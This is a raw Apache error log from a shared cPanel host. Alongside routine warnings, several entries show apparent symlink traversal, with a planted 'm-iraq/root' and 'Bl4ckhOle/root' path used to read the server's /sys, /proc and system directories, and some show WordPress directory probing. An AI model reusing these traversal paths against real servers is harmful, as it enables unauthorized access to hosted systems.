[Fri Jul 17 09:12:50.866398 2026] [security2:error] [pid 2030955:tid 2030955] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/sys/dev/char/13:32/subsystem/mouse2/device/capabilities/abs"] [unique_id "almkuvwooI4qY7Jg93pYNgAAABM"]
[Fri Jul 17 09:12:50.973851 2026] [security2:error] [pid 2036488:tid 2036488] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/sys/block/loop0/subsystem/vda/stat"] [unique_id "almkurEKozcCJ-ReuK0FiQAAAAg"]
[Fri Jul 17 09:12:50.973888 2026] [security2:error] [pid 2036488:tid 2036488] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/sys/block/loop0/subsystem/vda/stat"] [unique_id "almkurEKozcCJ-ReuK0FiQAAAAg"]
[Fri Jul 17 09:12:51.774733 2026] [mime:warn] [pid 2030955:tid 2030955] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:12:51.893106 2026] [mime:warn] [pid 2031172:tid 2031172] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:12:52.225740 2026] [mime:warn] [pid 2018741:tid 2018741] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:12:52.458863 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:12:52.558914 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:12:52.719887 2026] [mime:warn] [pid 2013830:tid 2013830] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:12:52.726348 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:12:52.794210 2026] [mime:warn] [pid 2030955:tid 2030955] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:12:53.074194 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:12:53.124749 2026] [mime:warn] [pid 2031172:tid 2031172] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:12:53.194533 2026] [mime:warn] [pid 2030774:tid 2030774] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:12:53.420014 2026] [autoindex:error] [pid 2018741:tid 2018741] [client 20.195.181.252:0] AH01276: Cannot serve directory /home/visionsolutionsh/public_html/wp-includes/js/crop/: No matching DirectoryIndex (index.php,index.php8,index.php7,index.php5,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.jp,index.phtml,index.shtml,index.xhtml,index.html,index.htm,index.js) found, and server-generated directory index forbidden by Options directive
[Fri Jul 17 09:12:53.749309 2026] [security2:error] [pid 2032156:tid 2032156] [client 112.134.170.235:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/epidgovl-global": Permission denied [hostname "www.epid.gov.lk"] [uri "/epid/public/img/log3.png"] [unique_id "almkva14q1EBnanVMYGmmAAAAAk"], referer: https://www.epid.gov.lk/Publications-2/Publications-2?page_57=2
[Fri Jul 17 09:12:53.749441 2026] [security2:error] [pid 2032156:tid 2032156] [client 112.134.170.235:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/epidgovl-ip": Permission denied [hostname "www.epid.gov.lk"] [uri "/epid/public/img/log3.png"] [unique_id "almkva14q1EBnanVMYGmmAAAAAk"], referer: https://www.epid.gov.lk/Publications-2/Publications-2?page_57=2
[Fri Jul 17 09:12:54.089644 2026] [mime:warn] [pid 2013830:tid 2013830] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:12:54.139158 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:12:54.210773 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:12:54.350113 2026] [mime:warn] [pid 2013829:tid 2013829] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:12:54.435234 2026] [mime:warn] [pid 2013830:tid 2013830] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:12:54.449042 2026] [security2:error] [pid 1993572:tid 1993572] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/public_html/uploads/img/news/m-iraq/root/sys/class/tty/ttyS2/power/runtime_status"] [unique_id "almkvol9vhFBGA6D8l98xwAAAAw"]
[Fri Jul 17 09:12:54.449105 2026] [security2:error] [pid 1993572:tid 1993572] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/public_html/uploads/img/news/m-iraq/root/sys/class/tty/ttyS2/power/runtime_status"] [unique_id "almkvol9vhFBGA6D8l98xwAAAAw"]
[Fri Jul 17 09:12:54.487986 2026] [mime:warn] [pid 2030955:tid 2030955] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:12:54.532117 2026] [mime:warn] [pid 2036488:tid 2036488] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:12:54.588837 2026] [mime:warn] [pid 2030774:tid 2030774] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:12:54.870835 2026] [security2:error] [pid 2018741:tid 2018741] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/sys/dev/char/4:64/subsystem/tty42/power/runtime_status"] [unique_id "almkvroj0IkvhSCYadmEawAAAAQ"]
[Fri Jul 17 09:12:54.870873 2026] [security2:error] [pid 2018741:tid 2018741] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/sys/dev/char/4:64/subsystem/tty42/power/runtime_status"] [unique_id "almkvroj0IkvhSCYadmEawAAAAQ"]
[Fri Jul 17 09:12:54.925717 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:12:54.925724 2026] [mime:warn] [pid 2030955:tid 2030955] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:12:54.954448 2026] [mime:warn] [pid 2036488:tid 2036488] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:12:55.081730 2026] [mime:warn] [pid 2013830:tid 2013830] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:12:55.148721 2026] [cgi:error] [pid 2029866:tid 2029866] [client 85.208.96.203:0] AH01215: stderr from /home/anandaob/public_html/js/Bl4ckhOle/root/usr/share/perl5/utf8_heavy.pl: (13)Permission denied: exec of '/home/anandaob/public_html/js/Bl4ckhOle/root/usr/share/perl5/utf8_heavy.pl' failed
[Fri Jul 17 09:12:55.149487 2026] [cgi:error] [pid 2029866:tid 2029866] [client 85.208.96.203:0] End of script output before headers: utf8_heavy.pl
[Fri Jul 17 09:12:55.226542 2026] [mime:warn] [pid 2018768:tid 2018768] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:12:55.776891 2026] [mime:warn] [pid 2013830:tid 2013830] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:12:55.807210 2026] [ssl:error] [pid 2013809:tid 2013809] (70014)End of file found: [client 66.85.158.91:47460] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:12:57.659787 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:12:57.682261 2026] [core:error] [pid 2013830:tid 2013830] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/class/input/input1/device/driver/serio0/subsystem/uevent
[Fri Jul 17 09:12:59.637785 2026] [core:error] [pid 2029866:tid 2029866] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/class/wakeup/wakeup6/device/subsystem/devices/device:21/eject
[Fri Jul 17 09:13:00.052426 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:13:00.519317 2026] [mime:warn] [pid 2032156:tid 2032156] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:13:00.750638 2026] [mime:warn] [pid 2018741:tid 2018741] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:13:01.722127 2026] [ssl:error] [pid 2036488:tid 2036488] (70014)End of file found: [client 66.85.158.91:47888] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:13:01.739895 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:13:01.839082 2026] [mime:warn] [pid 2013809:tid 2013809] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:13:01.897049 2026] [ssl:error] [pid 2030774:tid 2030774] (70014)End of file found: [client 66.85.158.91:47898] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:13:02.661579 2026] [mime:warn] [pid 2018768:tid 2018768] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:13:02.940662 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:13:03.307612 2026] [mime:warn] [pid 2034024:tid 2034024] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:13:03.512164 2026] [mime:warn] [pid 2013830:tid 2013830] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:13:03.725876 2026] [ssl:error] [pid 2029579:tid 2029579] (70014)End of file found: [client 66.85.158.91:48008] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:13:03.934667 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:13:04.143565 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:13:04.450383 2026] [mime:warn] [pid 2013830:tid 2013830] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:13:06.010406 2026] [ssl:error] [pid 2030955:tid 2030955] (70014)End of file found: [client 66.85.158.91:48114] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:13:06.206759 2026] [ssl:error] [pid 2013797:tid 2013797] (70014)End of file found: [client 66.85.158.91:48144] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:13:06.489148 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:13:06.828709 2026] [mime:warn] [pid 2034024:tid 2034024] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:13:06.961457 2026] [autoindex:error] [pid 2029866:tid 2029866] [client 20.195.181.252:0] AH01276: Cannot serve directory /home/visionsolutionsh/public_html/wp-includes/css/dist/widgets/: No matching DirectoryIndex (index.php,index.php8,index.php7,index.php5,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.jp,index.phtml,index.shtml,index.xhtml,index.html,index.htm,index.js) found, and server-generated directory index forbidden by Options directive
[Fri Jul 17 09:13:08.126322 2026] [core:error] [pid 2039911:tid 2039911] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/sys/dev/char/4:60/subsystem/ttyS0/uartclk
[Fri Jul 17 09:13:08.192891 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:13:08.775303 2026] [mime:warn] [pid 2028246:tid 2028246] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:13:08.880269 2026] [mime:warn] [pid 2030774:tid 2030774] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:13:09.489897 2026] [core:error] [pid 2029579:tid 2029579] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/proc/thread-self/cwd/sys/kernel/slab/kmalloc-rcl-1k/hwcache_align
[Fri Jul 17 09:13:09.501648 2026] [security2:error] [pid 1993619:tid 1993619] [client 74.7.227.140:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almkzY1dLClkUfK_dfHnmgAAAAI"], referer: http://anandaobauae.org/?C=D;O=Auploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpg
[Fri Jul 17 09:13:09.501683 2026] [security2:error] [pid 1993619:tid 1993619] [client 74.7.227.140:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almkzY1dLClkUfK_dfHnmgAAAAI"], referer: http://anandaobauae.org/?C=D;O=Auploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpg
[Fri Jul 17 09:13:09.590352 2026] [core:error] [pid 1993671:tid 1993671] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/scripts/restorepkg
[Fri Jul 17 09:13:10.112818 2026] [mime:warn] [pid 2013830:tid 2013830] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:13:10.317234 2026] [mime:warn] [pid 2034024:tid 2034024] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:13:10.521202 2026] [mime:warn] [pid 2029866:tid 2029866] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:13:10.826026 2026] [mime:warn] [pid 2018757:tid 2018757] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:13:10.826122 2026] [mime:warn] [pid 2018757:tid 2018757] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:13:11.029162 2026] [core:error] [pid 2031172:tid 2031172] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/devices/pci0000:00/firmware_node/device:20/subsystem/drivers_probe
[Fri Jul 17 09:13:11.137390 2026] [mime:warn] [pid 2028246:tid 2028246] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:13:11.176662 2026] [autoindex:error] [pid 2034024:tid 2034024] [client 20.195.181.252:0] AH01276: Cannot serve directory /home/visionsolutionsh/public_html/wp-admin/css/colors/ocean/: No matching DirectoryIndex (index.php,index.php8,index.php7,index.php5,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.jp,index.phtml,index.shtml,index.xhtml,index.html,index.htm,index.js) found, and server-generated directory index forbidden by Options directive
[Fri Jul 17 09:13:12.027409 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:13:12.159173 2026] [mime:warn] [pid 2018768:tid 2018768] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:13:12.866687 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:13:13.179412 2026] [mime:warn] [pid 2013809:tid 2013809] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:13:13.283191 2026] [mime:warn] [pid 2018741:tid 2018741] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:13:13.996392 2026] [mime:warn] [pid 2018768:tid 2018768] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:13:14.820073 2026] [mime:warn] [pid 2013829:tid 2013829] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:13:15.341716 2026] [mime:warn] [pid 2030774:tid 2030774] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:13:15.629730 2026] [mime:warn] [pid 2013829:tid 2013829] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:13:15.942815 2026] [mime:warn] [pid 2018741:tid 2018741] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:13:16.042994 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:13:16.147091 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:13:16.464866 2026] [mime:warn] [pid 2013809:tid 2013809] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:13:16.878270 2026] [mime:warn] [pid 2036488:tid 2036488] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:13:16.986301 2026] [mime:warn] [pid 2018741:tid 2018741] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:13:17.219985 2026] [mime:warn] [pid 2030774:tid 2030774] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:13:17.220069 2026] [mime:warn] [pid 2030774:tid 2030774] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:13:17.407563 2026] [mime:warn] [pid 2013809:tid 2013809] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:13:17.846781 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:13:18.254844 2026] [mime:warn] [pid 2013809:tid 2013809] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:13:18.358303 2026] [mime:warn] [pid 2028246:tid 2028246] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:13:18.456712 2026] [mime:warn] [pid 2018741:tid 2018741] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:13:18.557104 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:13:18.863164 2026] [mime:warn] [pid 2030774:tid 2030774] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:13:19.289850 2026] [mime:warn] [pid 2018757:tid 2018757] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:13:19.299631 2026] [autoindex:error] [pid 2034024:tid 2034024] [client 20.195.181.252:0] AH01276: Cannot serve directory /home/visionsolutionsh/public_html/wp-includes/certificates/: No matching DirectoryIndex (index.php,index.php8,index.php7,index.php5,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.jp,index.phtml,index.shtml,index.xhtml,index.html,index.htm,index.js) found, and server-generated directory index forbidden by Options directive
[Fri Jul 17 09:13:19.497367 2026] [core:error] [pid 2013797:tid 2013797] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/proc/thread-self/cwd/sys/module/xt_comment/uevent
[Fri Jul 17 09:13:20.662494 2026] [mime:warn] [pid 2013829:tid 2013829] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:13:20.754319 2026] [mime:warn] [pid 2013809:tid 2013809] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:13:20.855185 2026] [mime:warn] [pid 2032156:tid 2032156] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:13:21.918981 2026] [mime:warn] [pid 2036488:tid 2036488] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:13:22.609111 2026] [security2:error] [pid 2030955:tid 2030955] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/sys/devices/virtual/tty/tty43/subsystem/tty52/dev"] [unique_id "almk2vwooI4qY7Jg93pYTwAAABM"]
[Fri Jul 17 09:13:22.609174 2026] [security2:error] [pid 2030955:tid 2030955] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/sys/devices/virtual/tty/tty43/subsystem/tty52/dev"] [unique_id "almk2vwooI4qY7Jg93pYTwAAABM"]
[Fri Jul 17 09:13:22.764672 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:13:23.094357 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:13:23.877654 2026] [mime:warn] [pid 2018757:tid 2018757] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:13:23.981540 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:13:24.415194 2026] [mime:warn] [pid 2030774:tid 2030774] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:13:24.536661 2026] [mime:warn] [pid 2013829:tid 2013829] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:13:24.536783 2026] [mime:warn] [pid 2013829:tid 2013829] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:13:25.045184 2026] [mime:warn] [pid 2029866:tid 2029866] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:13:25.045992 2026] [mime:warn] [pid 2030804:tid 2030804] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:13:25.046072 2026] [mime:warn] [pid 2030804:tid 2030804] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:13:25.277969 2026] [mime:warn] [pid 2030955:tid 2030955] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:13:25.477073 2026] [mime:warn] [pid 2018741:tid 2018741] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:13:26.729042 2026] [mime:warn] [pid 2013829:tid 2013829] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:13:26.833749 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:13:26.833854 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:13:27.026956 2026] [security2:error] [pid 2028246:tid 2028246] [client 74.7.227.161:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almk3zsMb3am0TgkjETdkwAAAAo"], referer: http://www.anandaobauae.org/?62.210.79.219uploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686742380_13.%20Donation%20%20-%20Donation%20of%20Kids%20Face%20Masks%20for%20little%20Anandians-%20Pic2.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpg
[Fri Jul 17 09:13:27.026984 2026] [security2:error] [pid 2028246:tid 2028246] [client 74.7.227.161:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almk3zsMb3am0TgkjETdkwAAAAo"], referer: http://www.anandaobauae.org/?62.210.79.219uploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686742380_13.%20Donation%20%20-%20Donation%20of%20Kids%20Face%20Masks%20for%20little%20Anandians-%20Pic2.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpg
[Fri Jul 17 09:13:27.361268 2026] [mime:warn] [pid 2018757:tid 2018757] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:13:27.361343 2026] [mime:warn] [pid 2018757:tid 2018757] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:13:28.319500 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:13:28.357459 2026] [autoindex:error] [pid 2029866:tid 2029866] [client 20.195.181.252:0] AH01276: Cannot serve directory /home/visionsolutionsh/public_html/wp-admin/css/colors/modern/: No matching DirectoryIndex (index.php,index.php8,index.php7,index.php5,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.jp,index.phtml,index.shtml,index.xhtml,index.html,index.htm,index.js) found, and server-generated directory index forbidden by Options directive
[Fri Jul 17 09:13:29.967214 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:13:30.274534 2026] [mime:warn] [pid 2036488:tid 2036488] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:13:30.387646 2026] [mime:warn] [pid 2032156:tid 2032156] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:13:30.589818 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:13:30.695414 2026] [mime:warn] [pid 2013830:tid 2013830] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:13:30.791348 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:13:32.515318 2026] [mime:warn] [pid 2029866:tid 2029866] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:13:32.553407 2026] [autoindex:error] [pid 2039911:tid 2039911] [client 20.195.181.252:0] AH01276: Cannot serve directory /home/visionsolutionsh/public_html/wp-admin/images/: No matching DirectoryIndex (index.php,index.php8,index.php7,index.php5,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.jp,index.phtml,index.shtml,index.xhtml,index.html,index.htm,index.js) found, and server-generated directory index forbidden by Options directive
[Fri Jul 17 09:13:32.618778 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:13:32.720663 2026] [mime:warn] [pid 2013809:tid 2013809] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:13:34.273295 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:13:34.380942 2026] [security2:error] [pid 2032156:tid 2032156] [client 74.7.227.140:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almk5q14q1EBnanVMYGmxAAAAAk"], referer: http://anandaobauae.org/?C=N;O=Duploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686745495_1xiTrophy.jpg
[Fri Jul 17 09:13:34.380981 2026] [security2:error] [pid 2032156:tid 2032156] [client 74.7.227.140:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almk5q14q1EBnanVMYGmxAAAAAk"], referer: http://anandaobauae.org/?C=N;O=Duploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686745495_1xiTrophy.jpg
